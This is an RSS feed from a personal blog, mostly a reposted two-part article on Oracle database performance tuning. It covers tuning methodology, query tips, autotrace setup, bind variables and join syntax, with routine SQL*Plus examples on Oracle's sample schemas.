<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Nguyen Duc Hai's blog</title>
	<atom:link href="http://haind.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://haind.wordpress.com</link>
	<description>Future take it all</description>
	<lastBuildDate>Mon, 23 Nov 2009 07:02:52 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='haind.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/930277dccf276e2e4195c3a2af930448?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>Nguyen Duc Hai's blog</title>
		<link>http://haind.wordpress.com</link>
	</image>
			<item>
		<title>C concurrent program/ pro*C concurrent program</title>
		<link>http://haind.wordpress.com/2009/11/23/c-concurrent-program-proc-concurrent-program/</link>
		<comments>http://haind.wordpress.com/2009/11/23/c-concurrent-program-proc-concurrent-program/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 07:02:14 +0000</pubDate>
		<dc:creator>haind</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://haind.wordpress.com/2009/11/23/c-concurrent-program-proc-concurrent-program/</guid>
		<description><![CDATA[Huong dan cach viet C concurrent program/Pro*C concurrent program tren Application 11i
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=53&subd=haind&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Huong dan cach viet C concurrent program/Pro*C concurrent program tren Application 11i</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/haind.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/haind.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/haind.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/haind.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/haind.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/haind.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/haind.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/haind.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/haind.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/haind.wordpress.com/53/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=53&subd=haind&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://haind.wordpress.com/2009/11/23/c-concurrent-program-proc-concurrent-program/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/eddd584c364dfd0b4f3151a586008358?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">haind</media:title>
		</media:content>
	</item>
		<item>
		<title>Oracle Performance Tuning-By Steve Callan</title>
		<link>http://haind.wordpress.com/2008/11/06/oracle-performance-tuning-by-steve-callan/</link>
		<comments>http://haind.wordpress.com/2008/11/06/oracle-performance-tuning-by-steve-callan/#comments</comments>
		<pubDate>Thu, 06 Nov 2008 04:19:29 +0000</pubDate>
		<dc:creator>haind</dc:creator>
				<category><![CDATA[oracle]]></category>
		<category><![CDATA[Oracle Performance]]></category>

		<guid isPermaLink="false">http://haind.wordpress.com/?p=43</guid>
		<description><![CDATA[&#60;From http://www.databasejournal.com/&#62;
Part1:
Performance tuning is a broad and somewhat complex topic area when it comes to Oracle databases. Two of the biggest questions faced by your average DBA concern where to start and what to do. All you may know is that someone (a user) reports a problem about a slow or poor performing application or [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=43&subd=haind&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>&lt;From http://www.databasejournal.com/&gt;</p>
<p><em><strong>Part1</strong></em>:</p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Performance tuning is a broad and somewhat complex topic area when it comes to Oracle databases. Two of the biggest questions faced by your average DBA concern where to start and what to do. All you may know is that someone (a user) reports a problem about a slow or poor performing application or query. Where do you even begin to start when faced with this situation?</span></span></p>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Oracle&#8217;s Approach to Tuning</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">For anyone who has taken the Performance Tuning exam for Oracle8i certification, one of the testable areas dealt with Oracle&#8217;s Tuning Methodology. Oracle&#8217;s emphasis on this particular methodology changed when Oracle9i was released. The approach has gone from top-down in 8i to that of following principles in 9i/10g. Neither methodology is absolute as each has its advantages and disadvantages. In Oracle8i, the steps consisted of the following:</span></span></p>
<div style="margin:20px;">
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">1.  Tuning the Business Rules<br />
2.  Tuning the Data Design<br />
3.  Tuning the Application Design<br />
4.  Tuning the Logical Structure of the Database<br />
5.  Tuning Database Operations<br />
6.  Tuning the Access Paths<br />
7.  Tuning Memory Allocation<br />
8.  Tuning I/O and Physical Structure<br />
9.  Tuning Resource Contention<br />
10. Tuning the Underlying Platform(s)</span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">With Oracle9i&#8217;s principle-based approach, the principles, in order of priority, are:</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"></p>
<p></span></span></p>
<div>
<table style="border:medium none;border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="border:1pt solid windowtext;background:#ccffcc none repeat scroll 0 0;width:1in;padding:0 5.4pt;" width="96" valign="top">Priority</td>
<td style="background:#ccffcc none repeat scroll 0 0;width:4.95in;border:1pt 1pt 1pt medium solid solid solid none windowtext windowtext windowtext 0;padding:0 5.4pt;" width="475" valign="top">Description</td>
</tr>
<tr>
<td style="width:1in;border:medium 1pt 1pt none solid solid 0 windowtext windowtext;padding:0 5.4pt;" width="96" valign="top">First</td>
<td style="width:4.95in;border:medium 1pt 1pt medium none solid solid none 0 windowtext windowtext 0;padding:0 5.4pt;" width="475" valign="top">Define the problem clearly   and then formulate a tuning goal.</td>
</tr>
<tr>
<td style="width:1in;border:medium 1pt 1pt none solid solid 0 windowtext windowtext;padding:0 5.4pt;" width="96" valign="top">Second</td>
<td style="width:4.95in;border:medium 1pt 1pt medium none solid solid none 0 windowtext windowtext 0;padding:0 5.4pt;" width="475" valign="top">Examine the host system   and gather Oracle statistics.</td>
</tr>
<tr>
<td style="width:1in;border:medium 1pt 1pt none solid solid 0 windowtext windowtext;padding:0 5.4pt;" width="96" valign="top">Third</td>
<td style="width:4.95in;border:medium 1pt 1pt medium none solid solid none 0 windowtext windowtext 0;padding:0 5.4pt;" width="475" valign="top">Compare the identified   problem to the common performance problems identified by Oracle in the   Oracle9i Database Performance Methods (Release 1)/Database Performance   Planning (Release 2)</td>
</tr>
<tr>
<td style="width:1in;border:medium 1pt 1pt none solid solid 0 windowtext windowtext;padding:0 5.4pt;" width="96" valign="top">Fourth</td>
<td style="width:4.95in;border:medium 1pt 1pt medium none solid solid none 0 windowtext windowtext 0;padding:0 5.4pt;" width="475" valign="top">Use the statistics   gathered in the second step to get a conceptual picture of what might be   happening on the system.</td>
</tr>
<tr>
<td style="width:1in;border:medium 1pt 1pt none solid solid 0 windowtext windowtext;padding:0 5.4pt;" width="96" valign="top">Fifth</td>
<td style="width:4.95in;border:medium 1pt 1pt medium none solid solid none 0 windowtext windowtext 0;padding:0 5.4pt;" width="475" valign="top">Identify the changes to be   made and then implement those changes.</td>
</tr>
<tr>
<td style="width:1in;border:medium 1pt 1pt none solid solid 0 windowtext windowtext;padding:0 5.4pt;" width="96" valign="top">Sixth</td>
<td style="width:4.95in;border:medium 1pt 1pt medium none solid solid none 0 windowtext windowtext 0;padding:0 5.4pt;" width="475" valign="top">Determine whether the   objectives identified in step one have been met. If they have, stop tuning.   If not, repeat steps five and six until the tuning goal is met.</td>
</tr>
</tbody>
</table>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:verdana;font-weight:bold;">Reference: <span style="text-decoration:underline;">OCP: Oracle9i Performance Tuning Study Guide</span>, SYBEX, Inc.</span> </span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Interestingly, the emphasis on identifying which step an action falls under went away with Oracle9i, and recitation of the principles is not a testable item. The title of documentation even changed between releases one and two, and that should send a clear signal that the art of performance tuning (or, performance and tuning) is still just that – an art. When it comes to instance tuning, the steps are even further reduced in Oracle10g.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The performance tuning guide for Oracle10g (Release 2) identifies the overall process as <em>The Oracle Performance Improvement Method</em>. The steps have been expanded, but overall, remain the same.</span></span></p>
<blockquote>
<div style="border:1pt solid windowtext;padding:1pt 5pt;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"> </span></span><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">1.  Perform the following initial standard checks:</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">a.   Get candid feedback from users. Determine the   performance project&#8217;s scope and subsequent performance goals, as well as   performance goals for the future. This process is key in future capacity   planning.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">b.  Get a full set of operating system, database, and   application statistics from the system when the performance is both good and   bad. If these are not available, then get whatever is available. Missing   statistics are analogous to missing evidence at a crime scene: They make   detectives work harder and it is more time-consuming.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">c.   Sanity-check the operating systems of all machines   involved with user performance. By sanity-checking the operating system, you   look for hardware or operating system resources that are fully utilized. List   any over-used resources as symptoms for analysis later. In addition, check   that all hardware shows no errors or diagnostics.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">2.  Check for the top ten most common mistakes with   Oracle, and determine if any of these are likely to be the problem. List   these as symptoms for later analysis. These are included because they   represent the most likely problems. ADDM automatically detects and reports   nine of these top ten issues. See <a href="http://download-west.oracle.com/docs/cd/B19306_01/server.102/b14211/diagnsis.htm#g41683">Chapter   6, &#8220;Automatic Performance Diagnostics&#8221;</a> and <a href="http://download-west.oracle.com/docs/cd/B19306_01/server.102/b14211/technique.htm#i11221">&#8220;Top   Ten Mistakes Found in Oracle Systems&#8221;</a>.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">3.  Build a conceptual model of what is happening on   the system using the symptoms as clues to understand what caused the   performance problems. See <a href="http://download-west.oracle.com/docs/cd/B19306_01/server.102/b14211/technique.htm#i11199">&#8220;A   Sample Decision Process for Performance Conceptual Modeling&#8221;</a>.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">4.  Propose a series of remedy actions and the   anticipated behavior to the system, then apply them in the order that can   benefit the application the most. ADDM produces recommendations each with an   expected benefit. A golden rule in performance work is that you only change   one thing at a time and then measure the differences. Unfortunately, system   downtime requirements might prohibit such a rigorous investigation method. If   multiple changes are applied at the same time, then try to ensure that they   are isolated so that the effects of each change can be independently   validated.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">5.  Validate that the changes made have had the desired   effect, and see if the user&#8217;s perception of performance has improved.   Otherwise, look for more bottlenecks, and continue refining the conceptual   model until your understanding of the application becomes more accurate.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">6.    Repeat the last three steps until   performance goals are met or become impossible due to other constraints.</span></span></p>
<p align="right"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><em><a href="http://oraclesvca2.oracle.com/docs/cd/B19306_01/server.102/b14211/technique.htm#i11146">The   performance tuning guide for Oracle10g (Release 2)</a> </em></span></span></p>
</div>
</blockquote>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The Change is Part of the Problem</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The change from a top-down structured approach to a principle-based &#8220;make it stop hurting&#8221; one is part of the problem. Gathering statistics is obviously important because how else do you know if you have improved (or worsened) the problem? Still, to some degree with either approach, you are left with the original two questions: what do I look for, and how do I make it better? If the structured approach left you scratching your head, the principled approach only adds to the confusion.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">What would help the novice tuner (disclaimer: I am far from being an expert) is a list of items or areas to evaluate (configure, diagnose, and tune) in each of the following areas:</span></span></p>
<ul><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"></p>
<li> Tuning the Buffer Cache</li>
<li> Tuning the Redo Log Buffer</li>
<li> Tuning the Shared Pool Memory</li>
<li> Tuning the Program Global Area</li>
<li> Optimizing Data Storage</li>
<li> Optimizing Tablespaces</li>
<li> Tuning Undo Segments</li>
<li> Detecting Lock Contention</li>
<li> Tuning SQL</li>
<p></span></span></ul>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">These areas pretty much cover the Oracle RDBMS and instance from top to bottom. The remainder of this article will focus on tuning SQL, or more precisely, preventing slow SQL execution. Aren&#8217;t these the same thing? Mostly yes, but a common approach in development is making a statement perform well enough or fast enough. Each and every statement does not have to be optimal, but some thought has to go into coding them. You do not have the time to optimize hundreds or even thousands of SQL statements, but at the same time, there are guidelines you can follow to avoid common mistakes and bad coding.</span></span></p>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">17 Tips for Avoiding Problematic Queries</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The source of these 17 tips is from <span style="text-decoration:underline;">Oracle9i Performance Tuning: Optimizing Database Productivity</span> by Hassan Afyouni (Thompson Course Technology, 2004). These tips provide a solid foundation for two outcomes: making a SQL statement perform better, and determining that nothing else can be done in this regard (i.e., you have done all you can with the SQL statement, time to move on to another area).</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The 17 tips are listed below.</span></span></p>
<div style="margin:20px;">
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">1.  Avoid Cartesian products<br />
2.  Avoid full table scans on large tables<br />
3.  Use SQL standards and conventions to reduce parsing<br />
4.  Lack of indexes on columns contained in the WHERE clause<br />
5.  Avoid joining too many tables<br />
6.  Monitor V$SESSION_LONGOPS to detect long running operations<br />
7.  Use hints as appropriate<br />
8.  Use the SHARED_CURSOR parameter<br />
9.  Use the Rule-based optimizer if I is better than the Cost-based optimizer<br />
10. Avoid unnecessary sorting<br />
11. Monitor index browning (due to deletions; rebuild as necessary)<br />
12. Use compound indexes with care (Do not repeat columns)<br />
13. Monitor query statistics<br />
14. Use different tablespaces for tables and indexes (as a general rule; this is old-school somewhat, but the main point is reduce I/O contention)<br />
15. Use table partitioning (and local indexes) when appropriate (partitioning is an extra cost feature)<br />
16. Use literals in the WHERE clause (use bind variables)<br />
17. Keep statistics up to date</span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">That is quite a list and overall is thorough and accurate. Step 9, referring to the use of the Rule-based optimizer, may cause a reliance or dependency on a feature Oracle has identified as a future item to be deprecated. You are eventually going to have to solve the problem using the CBO, so you may as well start now and forget about the RBO. Step 14 should be changed to something along the lines of &#8220;reduce I/O contention&#8221; instead of its currently stated &#8220;separate index and table tablespaces&#8221; guidance.</span></span></p>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">In Closing</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">In the next article of this series, we will look at some specific steps of these tips. For example, advice given on many Web sites about how to improve a SQL statement&#8217;s performance typically includes &#8220;use bind variables.&#8221; Well, I am sure many people have this question: &#8220;How, exactly, do I do that?&#8221; It is actually pretty simple, as are many of the details of how to use many of these tips.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><em><strong>Part2:</strong></em></span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">As mentioned in <a href="http://databasejournal.com/features/oracle/article.php/3548291">Part 1</a>, there are several relatively easy steps you can take to improve performance. From the user&#8217;s perspective, one of the most frequently used interfaces with a database involves SQL statements, so getting a handle on them is a good place to start in terms of being able to see an immediate improvement.</p>
<p>In the interest of being complete, I will cover some preliminary steps that will be needed in order to view what is taking place. These steps include running the plustrce SQL script, creating an &#8220;EXPLAIN_PLAN&#8221; table, granting a role, and configuring your SQL*Plus environment to see execution plans. All of these steps are covered in &#8220;Using Autotrace in SQL*Plus&#8221; in <span style="text-decoration:underline;"><a href="http://download-west.oracle.com/docs/cd/B10501_01/server.920/a96533/autotrac.htm#1018">Oracle9<em>i</em> Database Performance Tuning Guide and Reference Release 2 (9.2)</a></span>. For Oracle10<em>g</em>, the steps are covered in &#8220;Tuning SQL*Plus&#8221; in <span style="text-decoration:underline;"><a href="http://download-west.oracle.com/docs/cd/B19306_01/server.102/b14357/ch8.htm#i1037182">SQL*Plus® User&#8217;s Guide and Reference Release 10.2</a></span>.</p>
<h3>Preliminary Steps</h3>
<p>If the PLUSTRACE role does not exist, create it using the PLUSTRCE SQL script found in ORACLE_HOME\sqlplus\admin. The script is pretty simple:</p>
<pre>drop role plustrace;
create role plustrace;

grant select on v_$sesstat to plustrace;
grant select on v_$statname to plustrace;
grant select on v_$mystat to plustrace;
grant plustrace to dba with admin option;</pre>
<p>Check for the role using:</p>
<pre>SQL&gt; select role from dba_roles where role = 'PLUSTRACE';

ROLE
----------------
PLUSTRACE</pre>
<p>The user must have (or have access to) a PLAN_TABLE (it can named something else, but for now, the &#8220;default&#8221; name is fine). This table is created using the UTLXPLAN SQL script found in ORACLE_HOME\rdbms\admin.</p>
<pre>SQL&gt; show user
USER is "SYSTEM"
SQL&gt; @?\rdbms\admin\utlxplan

Table created.

SQL&gt; create public synonym plan_table for system.plan_table;

Synonym created.

SQL&gt; grant select, update, insert, delete on plan_table to &lt;your user name&gt;;

Grant succeeded.

SQL&gt; grant plustrace to &lt;your user name&gt;;

Grant succeeded.</pre>
<p>The user for these examples is HR (found in the sample schemas provided by Oracle).</p>
<pre>SQL&gt; conn hr/hr
Connected.
SQL&gt; set autotrace on
SQL&gt; select * from dual;

D
-
X</pre>
<p>With autotrace set to on, you can confirm your ability to see an execution plan and some statistics. You should see output similar to the following:</p>
<pre>Execution Plan
----------------------------------------------------------
   0    SELECT STATEMENT Optimizer=ALL_ROWS (Cost=2 Card=1 Bytes=2)
   1    0 TABLE ACCESS (FULL) OF 'DUAL' (TABLE) (Cost=2 Card=1 Bytes=2)

Statistics
----------------------------------------------------------
         24  recursive calls
          0  db block gets
          6  consistent gets
          1  physical reads
          0  redo size
        389  bytes sent via SQL*Net to client
        508  bytes received via SQL*Net from client
          2  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          1  rows processed</pre>
<p>To suppress the results of the query, use &#8220;traceonly&#8221; in the set statement.</p>
<h3>Using Bind Variables</h3>
<p>On any number of DBA help type of Web sites, a frequently seen bit of advice is to use bind variables, but rarely are the steps or instructions for this step included. Here is a simple way to create and use a bind variable.</p>
<pre>SQL&gt; variable department_id number
SQL&gt; begin
  2  :department_id := 80;
  3  end;
  4  /

PL/SQL procedure successfully completed.

SQL&gt; print department_id

DEPARTMENT_ID
-------------
           80</pre>
<p>Now let&#8217;s make a comparison between querying for employee ID and name with and without the bind variable (with the output turned off using traceonly).</p>
<div>
<p><img src="http://www.databasejournal.com/img/sc_perfTun2_image001.jpg" border="0" alt="" width="569" height="500" /></div>
<p>Now let&#8217;s use the bind variable.</p>
<div>
<p><img src="http://www.databasejournal.com/img/sc_perfTun2_image002.jpg" border="0" alt="" width="572" height="533" /></div>
<p>Okay, so the difference isn&#8217;t that great (the cost went from 3 to 2), but this was a small example (the table only has 107 rows). Is there much of a difference when working with a larger table? Use the SH schema and its SALES table with its 900,000+ rows.</p>
<pre>SQL&gt; select prod_id, count(prod_id)
  2  from sales
  3  where prod_id &gt; 130
  4  group by prod_id;</pre>
<div>
<p><img src="http://www.databasejournal.com/img/sc_perfTun2_image003.jpg" border="0" alt="" width="578" height="93" /></div>
<p>Same query, but this time using a bind variable.</p>
<pre>SQL&gt; variable prod_id number
SQL&gt; begin
  2  :prod_id := 130;
  3  end;
  4  /

PL/SQL procedure successfully completed.

SQL&gt; print prod_id

   PROD_ID
----------
       130

SQL&gt; select prod_id, count(prod_id)
  2  from sales
  3  where prod_id &gt; :prod_id
  4  group by prod_id;</pre>
<div>
<p><img src="http://www.databasejournal.com/img/sc_perfTun2_image004.jpg" border="0" alt="" width="577" height="93" /></div>
<p>The cost went from 540 to 33, and that is fairly significant. One of the main benefits is that the query using the bind variable, that is, the work done parsing the query, stays the same each and every time. All you have to do is substitute a new value for the variable.</p>
<p></span></span></p>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Use Efficient SQL</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Suppose you have a choice between the following two queries (using the HR schema again):</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="text-decoration:underline;">Query 1</span></span></span></p>
<pre><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">select d.department_id,
 d.department_name,
 r.region_name
from departments d,
 locations l,
 countries c, regions r
where d.location_id=l.location_id
and l.country_id=c.country_id
and c.region_id=r.region_id;
</span></span></pre>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">and</span></span></p>
<pre><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">select department_id,
 department_name,
 region_name
from departments natural join locations
natural join countries natural join regions;
</span></span></pre>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">This leads to four questions. </span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">1.  Are these queries querying for the same result set?</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">2.  If they are the same, would you expect any difference in their execution plans? </span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">3.  If the plans are the same, what is it that makes these queries different?</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">4.  Can anything be done to improve the cost?</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The answer to the first question is yes, they are the same. The answer to the second question is no, not really, because the same steps are involved in terms of joining tables. The answer to the third question has to do with the amount of typing or coding involved. </span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The use of the &#8220;natural join,&#8221; &#8220;join on&#8221; and &#8220;right/left outer join&#8221; keywords is what matters in this example. If you understand what a natural join is (still joining two tables, but the column names involved are the same), doesn&#8217;t it look easier to use the second query?</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The proof of the answer to the second question is shown below.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Query 1&#8217;s Execution Plan</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun2_image005.jpg" border="0" alt="" width="578" height="148" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Query 2&#8217;s Execution Plan</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun2_image005.jpg" border="0" alt="" width="578" height="148" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">As for the answer to the last question, efficient SQL can mean different things to different people. In this case, what about using a view? Will the cost be any different from either of the original queries (you can see for yourself what the answer is), or are there other considerations to take into account? </span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Suppose we have a view named cost_example, created as follows:</span></span></p>
<pre><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">create or replace view cost_example
as
select department_id, department_name, region_name
from departments natural join locations
natural join countries natural join regions;

</span></span></pre>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Let&#8217;s look at a record in the view.</span></span></p>
<pre><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">SQL&gt; select department_id, department_name, region_name
  2  from cost_example
  3  where department_id=70;

DEPARTMENT_ID DEPARTMENT_NAME                REGION_NAME
------------- ------------------------------ ------------
           70 Public Relations               Europe

</span></span></pre>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Out of the three columns or fields, can any of them be changed? If so, why? If not, why not?</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Let&#8217;s suppose the region name is now Asia instead of Europe.</span></span></p>
<pre><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">SQL&gt; update cost_example
  2  set region_name = 'Asia'
  3  where region_name = 'Europe';
set region_name = 'Asia'
    *
ERROR at line 2:
ORA-01779: cannot modify a column which maps to a non key-preserved table
</span></span></pre>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Can the department name be changed?</span></span></p>
<pre><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">SQL&gt; update cost_example
  2  set department_name = 'PR'
  3  where department_name = 'Public Relations';

1 row updated.
</span></span></pre>
